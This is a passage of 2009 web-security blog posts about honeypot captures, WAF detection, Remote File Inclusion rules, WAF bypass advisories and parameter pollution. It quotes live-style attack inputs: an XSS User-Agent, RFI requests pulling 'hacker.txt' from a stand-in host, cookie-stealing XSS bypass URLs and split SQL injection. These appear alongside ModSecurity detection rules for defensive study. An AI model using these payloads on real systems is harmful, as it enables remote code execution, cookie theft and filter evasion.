ae29, SQMSESSID=8dddae5eis8o9l2g6aul2o3ip4, JSESSIONID=678dcb81bdc1ce2e82346199c86d, SERVERID=A, CMSSESSID3aab33f1=96d98c3e54be906ecdf12195ada689a6, Compaq-HMMD=3BE1E1BD3B3B4AFED8970001A6AACE4862D267BC50C270927260D36E, _sm_au_d=1, SOrder=DatePr%2DDOWN%2D0%2D0%2D0%2D0, SRecInPage=30, ASPSESSIONIDCCRBACRC=DFEPKLMCAJDOEIPMMHNKMMCA, PHPSESSID=cf753ceefc14a51281818d11471552d4, _bz_session=BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsY
XNo%0ASGFzaHsABjoKQHVzZWR7AA%3D%3D--1eb7a63eabc98dec0e0f418633d652fb97f5a8db, _session_id=8e87b0524f883f7c820ec6a136f7438b, SATSATSQID=goZXTx8HbQ5eBfjGevkYJ5-Lv-M8ChUHe-NfvvDycOHkc8CTM2SrJ4F_Y_IPU6Sc, ARPT=ZXJIWKS10.32.254.104CKMWW, SESSdab19e82e1f9a681ee73346d3e7a575e=fbc279a6c6c2e66cac0a6aba173bb261, vb_session=77e75d1912c7b6d796dae865fb95149a, BAIDUID=2A880F37E13E5EB37286E3EFF5BF43AA:FG=1
Proxy-Connection: Keep-Alive

Two anomalous items of interest in this request -

1) Bogus User-Agent payload
Specifically the string "User-Agent" actually appears at the beginning of the header payload. This looks like a botched script that tried to spoof the User-Agent data.

Defensive recommendation - look for this string in the User-Agent field and tag the request as an automated client that is spoofing request header data.

2) Number of diverse SessionIDs
The number of SessionID related cookies in this request is certianly larger than normal. Also note that there are SessionIDs for different web application technologies -

ASPSESSIONID - for ASP web apps
JSESSIONID - for Java web apps
PHPSESSID - for PHP web apps

What are the odds that this website is running all three of those web technologies? Pretty slim...

My take is that the scripted client is just populating bogus SessionID data for a bunch of different apps with the hopes that this would pass basic filters that force a SessionID name to exist but don't have knowledge of valid/active values. The most likely candidate is a SPAM bot that is looking to post data to blogs, forums, etc...

Defensive recommendations -

A. Count the number of SessionIDs/Cookies submitted. If it is too large, then alert as appropriate.

B. Look for SessionIDs/Cookie names that do not match your web application technology.

There are numerous other methods to identify anomalous web application activity. Security applications that are able to automatically generate web application learning and profiling (such as web application firewalls and web fraud systems) and correlate data from application users are able to identify deviations from the norm. These are complex systems that have advanced logic components to identify anomalous traffic such as that which is presented here.

WASC Distributed Open Proxy Honeypot Update - XSS in User-Agent Field

2009-08-18T14:56:00.002-04:00

Submitted by Ryan Barnett 8/18/2009

In case you missed it, the WASC Distributed Open Proxy Honeypot Project launched Phase III at the end of July. We have a few sensors online and as we start gathering data, we are starting our analysis. Our goal is to be able to release "events of interest" to the community to try and raise awareness of web-based attacks.

As part of my day job working with web application firewalls, I often get asked about why certain signatures should be applied in certain locations. Why not just apply signatures to parameter payloads? This would certainly cut down on potential false positives and also increase performance. While it is true that the most likely attack vector locations are parameter payloads, these are not the only ones. Where else should you look for attacks?

Well, in looking at the honeypot logs today, I noticed an interesting XSS attack vector - injecting the XSS code into the request User-Agent string. Here is an example of the captured data -

GET http://www.example.com/image-2707303-10559226 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Referer: http://www.example.co.uk/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; <script>window.open('http://www.medchecker.com/side.htm','_search')</script>)
Host: www.example.com
Connection: Keep-Alive

Notice the window.open javascript code in the UA payload? The intent here seems to be to target any web-based log analysis tool. So, now that you know that the User-Agent data is a possible attack vector, the question is are you applying proper input validation/signature checking there? Are you logging this data to know if clients are attempting this attack?

WASC WHID 2009 Bi-Annual Report - Social Media Sites Top Most Attacked Vertical Market

2009-08-17T10:14:00.006-04:00

Submitted by Ryan Barnett 8/17/2009

Do you remember that line from the movie Field of Dreams: "If you build it, they will come"? Well, according to the data captured from the Web Application Security Consortium (WASC) Web Hacking Incidents Database (WHID) project, online criminals are re-enforcing that movie quote. The fact is that profit driven criminals have learned that they can utilize social networking types of web sites (such as Twitter, Facebook and MySpace) as a means to target the huge number of end users.

Breach Security Labs, a WHID contributor, has just released a whitepaper report that analyzes the WHID events from the first half of 2009. In the report, it was found that Social Networking sites (such as Twitter) that utilize Web 2.0 types of dynamic, user-content driven data, are the #1 targeted vertical market. The reason for this is really two-fold:

1) Criminals are now directly targeting the web application end-users. The bad guys are using flaws within web applications to attempt to send malicious code to end users. Popular websites that have large user bases are now ripe targets for criminals. These are target rich environments.

2) Social networking sites are so popular partly because they allow their users to customize and update their accounts with user-driven content, widgets and add-ons. These features make the sites dynamic and fun for the end users, however they also unfortunately also significantly increase the cross-site scripting (XSS) and cross-site request forgery (CSRF) attack surfaces.

The combination of these two points resulted in a number of different social media WHID 2009 Entries:

WHID 2009-2: Twitter accounts of the famous hacked
WHID 2009-4: Twitter Personal Info CSRF
WHID 2009-11: Lil Kim Facebook Hacked
WHID 2009-15: Kayne West has been Hacked
WHID 2009-23: Miley Cyrus Twitter Account Hit By Sex-Obsessed Hacker
WHID 2009-31: Double Clickjacking worm on Twitter
WHID 2009-32: 750 Twitter Accounts Hacked
WHID 2009-37: Twitter XSS/CSRF worm series

These examples clearly show that social networking sites that utilize Web 2.0 technology are the #1 attacked vertical market in WHID. This is important as social networking were grouped in the Other category in 2008. I would suspect the trend of targeting large pools of end users to continue in the future as the bad guys work on methods of automating and scaling their attacks.

We've been blind to attacks on our Web sites

2009-06-22T16:45:00.008-04:00

Submitted by Ryan Barnett 6/22/2009

There was an interesting article posted over on Inforworld's website entitled We've been blind to attacks on our Web sites that drives home an important use-case for web application firewalls - visibility of web traffic. Too many people get caught up in the "Block attacks with a WAF" mentality that they forget about the insight that can be gained into simply having full access to the inbound request and response data. From the article -

Of course, as the security manager, I can't afford a false sense of security, so I recently took some steps to find out just what was going on within our Web servers' network traffic. And it turns out that many attacks have been getting through our firewalls undetected. We'll never know how long this has been going on.

This is a typical first reaction. Most of today's network firewalls have some sort of Deep Packet Inspection capabilities however most people don't use it due to performance hits. The firewalls are mainly geared towards either allowing a connection or not based on the source destination IPs and Port combos instead of the actual application payloads. This is somewhat like when you use the telephone to call someone. A firewall would just check to see if you are allowed to call that phone number or not but it doesn't usually look at what you are actually saying in the conversation once you are connected. The other big hindrance to inspecting web traffic at a network firewall is SSL. You have to be able to decrypt the layer 7 data in order to inspect it.

My company's front-end Web servers, which directly receive connections from the Internet through our firewalls, are definitely a hot spot in our network. The firewalls and IDS allow us to see some of what's going on, but can they really detect active content-based attacks? To find out, I installed a Web application firewall in my company's DMZ to tell us about active attacks that may not be identified by our other devices. I set the device up in monitor mode, though it can be set up to block attacks, because my goal was just to see what was going on. I wanted to know more about what's inside the connections to those Web servers.

This section shows that the WAF can initially be deployed in a "Detection Only" or monitoring mode to allow for visibility.

What I discovered is that our Web sites are being "scraped" by other companies -- our competitors! Some of the information on our sites is valuable intellectual property. It is provided online, in a restricted manner (passwords and such), to our customers. Such restrictions aren't very difficult to overcome for the Web crawlers that our competitors are using, because webmasters usually don't know much about security. They make a token attempt to put passwords and restrictions on sensitive files, but they often don't do a very good job.

Scraping attacks that are executed by legitimate users and aim to siphon off large amounts of data are a serious threat to many organizations. They types of attacks can not be identified by signature based rules as there is no overt malicious behavior to identify if only one individual transaction is inspected. Behavioral analysis needs to be employed to correlate multiple transactions over a specified time period to see if the there is an excessive rate being used. Anti-automation defenses here are critical.

Our Web application firewall found some other problems as well. We experience hundreds of SQL injection attack attempts every day. So far, none has been successful, but I'm amazed at the sheer volume. I can't imagine anyone having the time to sit around trying SQL injection attacks against random Web servers, so I have to assume that these attacks are coming from automated scripts. In any case, they are textbook examples of SQL injection, each one walking through various combinations of SQL code embedded in HTML. It looks like we've done a good job of securing our Web applications against these attacks, but it's always a little disconcerting to hear invaders pounding on the door.

As this section of the article shows, having visibility into the types of automated attacks being launched against a web application provides two key pieces of data -

Understanding of the Threat component of the Risk equation - there are many academic types of debates and discussions that happen early on in the development of software. One of the more challenging aspects to quantify is the threat. Is there really anyone out there targeting our sites? Where are they coming from? What attacks are they launching? Without this type of confirmed data obtained from the production network, it is difficult to accurately do threat modeling.
Validation of secure coding practices - it will become evident very quickly whether or not the web application is vulnerable to these types of injection attacks. If the application does not implement proper input validation mechanisms, then there is a possibility that the injected code will be executed and the application will respond abnormally. By inspecting both the inbound request and the outbound response, it is possible to confirm if/when/where input validation is faltering.

Challenges to webappsec - lightweight development

2009-06-15T12:54:00.002-04:00

Submitted by Ryan Barnett 6/15/2009

Lightweight development of web applications (using WYWIWYG editors such as Shockwave/Flash) has created an interesting hiring trend that I believe has negatively impacted web application security. Due to the fact that these web development tools are so easy to use, they do not need to be run by an actual programmer. This fact has resulted in a major shift of web content being created by Graphic Designers instead of actual web application developers. Here is an actual job posting that I just ran across that confirms this trend:

About the Job
Web Graphic Designer / Flash Designer
Direct Response company is seeking a full-time, talented web designer who can hit the ground running, working with in-house designers to help design and develop concepts and web campaigns for various products. This is NOT a programming and/or developer position, we are looking for graphic designers who are experienced in web design.

This may not pose any significant security issues if you are only displaying a dynamic intro page to your site, however these types of applications are doing more and more these days. There are been numerous security vulnerabilities identified within Flash applications such as XSS and there are even been some assessment tools released such as SWFScan to help find issues.

The big problem that I see is that it is hard enough to try and develop secure web application code when you have a true developer who is trained in secure coding principles. You don't have a fighting chance of having secure code if you now ask someone who is not a developer and is using a lightweight development tool like Flash. To make matters worse, if you are in this scenario and then you do happen to run vulnerability assessments against the resulting code, what are you going to do to fix the issue??? Good luck having your Graphic Designer fix the CSRF bug you found in their splash page.

Generic Remote File Inclusion Attack Detection

2009-06-10T08:35:00.006-04:00

Submitted by Ryan Barnett 6/10/2009

A big challenge for identifying web application attacks is to detect malicious activity that cannot easily be spotted using using signatures. Remote file inclusion (RFI) is a popular technique used to attack web applications (especially php applications) from a remote server. RFI attacks are extremely dangerous as they allow a client to to force an vulnerable application to run their own malicious code by including a reference pointer to code from a URL located on a remote server. When an application executes the malicious code it may lead to a backdoor exploit or technical information retrieval.

The application vulnerability leading to RFI is a result of insufficient validation on user input. In order to perform proper validation of input to avoid RFI attacks, an application should check that user input doesn’t contain invalid characters or reference to an unauthorized external location. Or Katz, who is the WebDefend signature team lead at Breach Security recently gave a presentation at the OWASP Local Chapter meeting in Israel and Breach Security Labs has since released a whitepaper based on his research. I would like to highlight a few of the detection items that were presented.

Challenges to Generic Detection

When trying to use a negative security approach in order to have generic solution for the RFI attack we will try to use the following regular expression to search for a signature such as “(ht|f)tps?://” within parameter payloads. This initially seems like a good approach as this would identify the beginning portions of a fully qualified URI. While this is true, this approach will unfortunately result in many false positives due to the following:

There are request parameters which are used as external link (e.g. - accepts http:// as valid input) that point either back to the local host (WordPress and other apps do this) or legitimately point to a resource on a remote site.
There are "free text" request parameters that are prone to false positives. In many cases these parameters contains user input (submission of free text from the user to the application) and in other cases parameter that contains large amount of data (may include URL links that can be false detected as RFI attack).

URL Contains an IP Address

Most legitimate URL referencing is done by specifying an actual domain/hostname and as such using an IP address as external link may indicate an attack. A typical attack using an IP address looks like:

GET /?include=http://192.0.55.2/hacker.txt HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Therefore a rule for detecting such a condition should search for the pattern “(ht|f)tps?:\/\/” followed by an IP address. An example ModSecurity rule to detect it is:

SecRule ARGS "@rx (ht|f)tps?:\/\/([\d\.]+)" \
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:Remote File Inclusion.'"

The PHP "include()" Function

Breach Security Labs has seen any attack vectors (from customer logs and honeypot data samples) that try to include remote file by using the PHP "include" keyword function. A typical attack using an include PHP keyword looks like:

GET /?id={${include("http://www.malicuos_site.com/hacker.txt")}}{${exit()}}HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

A rule for detecting such a condition should search for “include(“ followed by “(ht|f)tps?:\/\/”. An example ModSecurity rule to detect this is:

SecRule ARGS "@rx \binclude\s*\([^)]*(ht|f)tps?:\/\/" \
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File Inclusion'"

RFI Data Ends with a Question Mark (?)

Appending question marks to the end of the injected RFI payload is a common technique and is somewhat similar to SQL Injection payloads utilizing comment specifiers (--, ;-- or #) at the end of their payloads. The RFI attackers don't know what the remainder of the PHP code that they are going to be included into is supposed to do. So, by adding the "?" character, the remainder of the local PHP code is actually treated as a parameter to the RFI included code. The RFI code then simply ignores the legitmate code and only executes its own. A typical attack using a question mark at end looks like:

GET /?include=http://www.malicuos_site.com/hacker.txt? HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

A rule for detecting such a condition such an attack should search for “(ft|htt)ps?.*\?$”. An example ModSecurity rule to detect it is:

SecRule ARGS "@rx (ft|htt)ps?.*\?+$" \
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’Remote File Inclusion'"

RFI Host Doesn't Match Local Host

One other technique that can be used to detect RFI attacks (when the application never legitimately references files offsite) is to inspect the domain name/hostname specified within the parameter payload and then compare it to the Host header data submitted in the request. If the two items match, then this would allow the normal fully qualified referencing back to the local site while simultaneously deny offsite references. For example, the following legitimate request would be allowed as the hostnames match:

GET /path/to/app?foo=bar&filename=http://www.example.com/somefile.txt HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

A rule for detecting such a condition such an attack should initially search for “^(?:ht|f)tps?:\/\/(.*)\?$” which also captures the hostname data within the 2nd parentheses. The 2nd part of this rule then compares the saved capture data with the macro expanded Host header data from the request. An example ModSecurity rule to detect it is:

SecRule ARGS "^(?:ht|f)tps?://(.*)\?$" \
"chain,phase:2,t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,block,log,auditlog,status:501,msg:'Remote File Inclusion Attack'"
SecRule TX:1 "!@beginsWith %{request_headers.host}"

These generic RFI rules could be used individually or collaboratively in an anomaly scoring scenario to help identify these types of attacks. Keep an eye out for a major public release of the new ModSecurity Core Rule Set (CRS) as it will include these new rules and many others.

WAF Bypass Issues: Poor Negative and Positive Security

2009-06-05T12:51:00.003-04:00

Submitted by Ryan Barnett 6/5/2009

In my previous post I provided an overview of potential WAF identification techniques discussed in a recent OWASP AppSec conference talk. In this entry, I want to discuss the other half of their talk which highlights a few different WAF/security filter bypass issues. From their Advisory report, we find the following two main issues -

Negative Security Signature Bypass

::::: Blacklist / negative model bypass :::::
CVE: CVE-2009-1593
Description: Profense Web Application Firewall with default configuration in negative model can be evaded to inject XSS.
Technical Description:
Versions 2.4 and 2.2 of Profense Web Application Firewall with the default configuration in negative model (blacklist approach) can be evaded to inject XSS (Cross-Site Scripting). The problem is due to the built-in core rules that can be abused using the flexibility provided by HTML and JavaScript.
The vulnerability can be reproduced by injecting a common XSS attack in a vulnerable application protected by Profense Web Application Firewall. Inserting extra characters in the JavaScript close tag will bypass the XSS protection mechanisms. An example is shown below:
http://testcases/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E

As you can see from the bolded section of the closing script tag above, by inserting extra text within this tag, it was able to bypass the negative signature that was within the WAF.

Analysis

When creating negative security regular expression filters, it is challenging to make them accurate and balance both false positives and negatives. In this particular case, it seems as though the Cross-site Scripting (XSS) signatures were a bit too specific, since the signature(s) were able to be bypassed by adding in additional text to the closing script tag. This leads me to believe that perhaps all of the XSS signatures ended with a closing script tag. XSS attacks don't always have to end with this tag for two main reasons -

Some browsers only need to see the opening script tag in order to execute the payloads, and
Many XSS vulnerabilities manifest themselves because the client supplied data is inserted into an existing script tag in the output so including it within the attack payload is not necessary.

It is for these types of reasons that many people use negative security signatures that look for smaller components of attack payloads rather than trying to describe the entire thing. For instance, in this case, what about some smaller individual regexs that looked for the opening script tag, the alert( action or the document.cookie object on their own? If you use smaller signatures, then you could still correlate matches together as part of an anomaly score and it would be more difficult for an attacker to circumvent them all.

While this specific advisory identified an issue with one particular WAF vendor it could happen to any of them. Anyone who has been in the security industry for a period of time understands that negative security rules or signatures is not bullet proof and evasions are always a concern. It is somewhat like the Anti-Virus market in that user's are constantly playing catchup with the bad guy's newest attack techniques. If you rely upon negative security signatures that are created specifically for known attack vector's then you are doomed to run on the Hamster Wheel of Pain where you have to update the signatures constantly.

Considering that this specific issue was a bypass/evasion of a negative security rule - I do not necessarily believe that it warranted an actual public vulnerability announcement. If public announcements for negative security filter bypasses of a security device was the norm, then we would be flooded with them for all IDS/IPS/WAF systems as they all have bypass problems. It is for this reason that you can not rely upon negative security rules/signatures alone for protection against web application attacks. You need to also utilize positive security rules, which brings us to the 2nd part of the advisory.

Positive Security Model Bypass

::::: Whitelist / positive model bypass :::::
CVE: CVE-2009-1594
Description: 
Profense Web Application Firewall configured in positive model can be evaded.
Technical details:
Profense Web Application Firewall configured to make use of the strong positive model (white-list approach) can be evaded to launch various attacks including XSS (Cross-Site Scripting), SQL Injection, remote command execution, and others. 
The vulnerability can be reproduced by making use of a URL-encoded new line character. The pattern matching in multi line mode matches any non-hostile line and marks the whole request as legitimate, thus allowing the request. This results in a bypass in the positive model. An example is showed below:
http://testcases/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass

Similar to the negative security bypass issue shown previously, the security researches found that they could evade the positive security model profile by inserting a url encoded linefeed character (%0A) to the end of the attack payload and then appending a payload that actually matched the acceptable profile.

Analysis

While I somewhat downplayed the previous negative security bypass issue, I do believe that this is a serious vulnerability and it certainly does warrant a public announcement. This is more serious of an issue as it isn't just a particular signature that is evaded but potentially an entire set of signatures/rules that are meant to provide better confirmation of the payload.

The underlying problem with this particular WAF application is that its Regular Expression engine was most likely configured to run in "multiline mode." Combine that configuration with a poorly constructed positive security regular expression ruleset (that is not utilizing proper beginning/end of line anchoring) and you end up with this bypass situation.

Proper construction of positive security regular expression rules is not an easy task. Remo is a GUI rules editor for ModSecurity rules and it is quite useful for manually creating these positive security rules to enforce items such as the expected character set, format of length. Here is a graphical representation of what Remo does with the data inserted by the user.

If you look and see how the data is translated into the ModSecurity rules language syntax, it is using a regular expression operator that is using beginning (^) and end of line ($) anchors to ensure that the character classes specified match against the entire payload and not just a portion of it.

Conclusion

A few closing thoughts on this topic. First of all, this advisory shows that both negative and positive security models can have shortcomings and flaws. It is not enough to rely upon either one alone. A top tier WAF should be able to take data from both the negative security signatures and any anomalies identified from the positive security model and then correlate them together for increased intelligence and coverage. If you look at both of these examples together, these two components were clearly used in a mutually exclusive fashion. It seems as if the positive security model was used, then the negative security signatures were not evaluated. From a sheer performance perspective this might be good, but not from a security one. These two models should be used together for better coverage.

Any web security device that is apply regular expression filters/signatures/rules should be reviewed to validate exactly how the regular expression engine is configured and to review the construction of the rules themselves.

WAF Detection with wafw00f

2009-06-03T12:49:00.010-04:00

Submitted by Ryan Barnett 06/03/2009

Another interesting presentation that was given by Wendel Guglielmetti Henrique, Trustwave & Sandro Gauci, EnableSecurity at the recent OWASP AppSec EU conference was entitled The Truth about Web Application Firewalls: What the vendors don't want you to know. The two main topics to the talk were WAF detection and evasion.

WAF Detection

The basic premise for this topic is that inline WAFs can be detected through stimulus/response testing scenarios. Here is a short listing of possible detection methods:

Cookies - Some WAF products add their own cookie in the HTTP communication.
Server Cloaking - Altering URLs and Response Headers
Response Codes - Different error codes for hostile pages/parameters values
Drop Action - Sending a FIN/RST packet (technically could also be an IDS/IPS)
Pre Built-In Rules - Each WAF has different negative security signatures

The authors even created a tool called wafw00f to help automate these fingerprinting tasks. The tool states that it is able to identify over 20 different WAFs (including ModSecurity) so I thought I would try it out against my own ModSecurity install to see how it works. After reviewing the python source code and running a few tests, it is evident that in order for wafw00f to identify a ModSecurity installation, it is relying upon the Pre Built-In Rules category as mentioned above. Specifically, if a ModSecurity installation is using the Core Rule Set and has the SecRuleEngine On directive set, then the OS command/file access attack payloads sent by wafw00f will trigger the corresponding rules and a 501 response status code will be returned.

Reliance upon the returned HTTP status code is not a strong indicator of the existence of a WAF as this can be easily changed. Looking on the other end of the spectrum, and taking a defensive posture, this scenario reminds me somewhat of best practice steps for virtual patch creation. One of the key tenants for creating these patches is that you don't want to key off of attributes in an attack payload that are superfluous. The point being is that there are only a small set of key elements that are key to the success of the exploit. These are the items that you want to focus on for a virtual patch. If, however, you key off of non-essential data from some proof of concept code, your virtual patch can be easily evaded if the attack alters this data. In this particular case with wafw00f, the HTTP response code generated by ModSecurity is customizable by the polices so the identification effectiveness is reduced to only "Default Configurations." With ModSecurity, for instance, it is trivial to update the status action of the Core Rule Set to use some other status code. This can be accomplished in a number of ways such as by using the block action in the rules or SecRuleUpdateActionById directive to change what status code is returned.

This is an interesting tool in that it aids with the pentesting/assessment steps of footprinting the target network. The more details that you can identify about the target, the more finely tuned your attack strategy can be. With this in mind, if you want to easily trick wafw00f, you could always update the SecServerSignature ModSecurity directive to spoof the server response header and impersonate another WAF product :) Take a look at the wafw00f code for hints on what data to use.

HTTP Parameter Pollution

2009-05-27T12:27:00.001-04:00

Submitted by Ryan Barnett 05/27/2009

How does your web application respond if it receives multiple parameters all with the same name?

If you don't know the answer to this question, you might want to find out quickly. While not a completely new attack category, webapp security researchers Stefano di Paola and Luca Carettoni certainly opened many people's eyes to the dangers of HTTP Parameter Pollution at the recent OWASP AppSec Europe conference. This was the main premise of the talk and it is actually pretty straight forward - an attacker may submit additional parameters to a web application and if these parameters have the same name as an existing parameter, the web application may react in one of the following ways -

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together

The ramifications of these processing differences is that attackers may be able to distribute attack payloads across multiple parameters to evade signature-based filters. For example, the following SQL Injection attack should be caught by most negative security filters -

/index.aspx?page=select 1,2,3 from table where id=1

If, however, the attacker passes 2 parameters each called "page" with a portion of the attack payload in each, then the back-end web application may consolidate the payloads together into one on the back-end for processing -

/index.aspx?page=select 1&page=2,3 from table where id=1

If a negative security filter is applying a regex that looks for say a SELECT followed by a FROM to each individual parameter value then it would miss this attack. It is for this reason that some implementations will actually apply the signature check to the entire QUERY_STRING and REQUEST_BODY data strings in order to catch these types of attacks. While this may help, the unfortunate side effect is that this will most likely increase the false positive rate of other signatures.

The best approach to this issue is to use automated learning/profiling of the web application to identify if multiple occurrences of parameters is normal or not. Most web application firewalls, for instance, gather basic meta-data characteristics of parameters such as the normal size of the payloads or the expected character sets used (digits only vs. alphanumeric, etc...). The top tier WAFs, however, also track if there are multiple occurrences. If an attacker then adds in duplicate parameter names, the WAF would be able to flag this anomaly and take appropriate action.